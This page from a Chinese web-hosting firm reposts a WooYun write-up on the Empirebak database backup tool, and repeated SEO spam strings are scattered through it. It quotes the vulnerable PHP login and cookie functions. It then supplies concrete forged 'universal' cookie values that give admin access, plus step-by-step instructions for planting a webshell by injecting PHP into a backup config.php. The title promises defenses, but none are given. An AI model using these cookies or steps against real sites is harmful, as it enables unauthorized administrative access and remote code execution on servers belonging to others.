加入收藏 | 设为首页 | 会员中心 | 我要投稿 | 在线留言 | RSS
成网科技业务包括域名空间企业网站制作
 
国际域名com/net/org仅售80元/年
1G独立空间(PHP+MYSQL)仅售600元/年
您当前的位置:首页 > 技术交流 > 网络安全 > 脚本攻防

帝国备份王(Empirebak)万能cookie及拿shell方法与防御

时间:2015-09-30 11:23:16  来源:互联网  作者:佚名  点击:

转自wooyun http://www.wooyun.org/bugs/wooyun-2014-078591 z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
1.伪造cookie登录系统(其实这一步多余的,大多用户连密码都没改,都是默认的123456) z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
登录成功设置4个cookie,看代码z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
PHP Code复制内容到剪贴板

  1. function login($lusername,$lpassword,$key,$lifetime=0){    
  2. global $set_username,$set_password,$set_loginauth,$set_loginkey;    
  3. if(emptyempty($lusername)||emptyempty($lpassword)) {     
  4. printerror("EmptyLoginUser","index.php");     
  5. }    
  6. //验证码    
  7. if(!$set_loginkey)    
  8. {    
  9. if($key<>getcvar('checkkey')||emptyempty($key))    
  10. {    
  11. printerror("FailLoginKey","index.php");    
  12. }    
  13. }    
  14. if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password)    
  15. {    
  16. printerror("ErrorUser","index.php");    
  17. }    
  18. //认证码    
  19. if($set_loginauth&$set_loginauth!=$_POST['loginauth'])    
  20. {    
  21. printerror("ErrorLoginAuth","index.php");    
  22. }    
  23. $logintime=time();    
  24. $rnd=make_password(12);//生成随机字符    
  25. $s1=esetcookie("bakusername",$lusername,0);    
  26. $s2=esetcookie("bakrnd",$rnd,0);//随机字符    
  27. $s3=esetcookie("baklogintime",$logintime,0);    
  28. Ebak_SCookieRnd($lusername,$rnd);//    
  29. if(!$s1||!$s2)    
  30. {    
  31. printerror("NotOpenCookie","index.php");    
  32. }    
  33. printerror("LoginSuccess","admin.php");    
  34. }  

z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

再看看make_password函数z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

PHP Code复制内容到剪贴板
  1. function make_password($pw_length){    
  2. $low_ascii_bound=50;    
  3. $upper_ascii_bound=122;    
  4. $notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111);    
  5. while($i<$pw_length)    
  6. {    
  7. mt_srand((double)microtime()*1000000);    
  8. $randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);    
  9. if(!in_array($randnum,$notuse))    
  10. {    
  11. $password1=$password1.chr($randnum);    
  12. $i++;    
  13. }    
  14. }    
  15. return $password1;    
  16. }  

这个函数只是生成随机数,再看看Ebak_SCookieRnd函数z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

PHP Code复制内容到剪贴板
  1. function Ebak_SCookieRnd($username,$rnd){    
  2. global $set_loginrnd;//$set_loginrnd为config.php里面的验证随机码    
  3. $ckpass=md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-');//没有把密码加进去,于是漏洞产生了    
  4. esetcookie("loginebakckpass",$ckpass,0);    
  5. }  

下面给出万能cookie(key:value):z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

XML/HTML Code复制内容到剪贴板
  1. ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6    
  2. ebak_bakrnd:35y5cCnnA4Kh    
  3. ebak_bakusername:admin    
  4. ebak_baklogintime:4070883661  

使用以上cookie即可直接访问admin.php z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
2.拿shell z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
后台参数设置一般都设置好了,如果不能连接数据库,可以在数据库设置里填个自己的远程数据库 z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
备份数据,随便找个数据库备份, z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
然后到替换目录文件内容里,选择刚才备份的数据库, z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
将”$b_table=” z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
替换成 z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
“phpinfo(); z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$b_table=”z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
这里shell的路径就是bdata/mysql_20141007221849/config.phpz5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
z5X成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

成网科技 www.it28.com竭诚为您服务!
开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设_成网科技

更多
 


来顶一下
返回首页
返回首页
上一篇:SQL注入测试实例分析
下一篇:返回列表
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表
推荐资讯
相关文章
栏目更新
栏目热门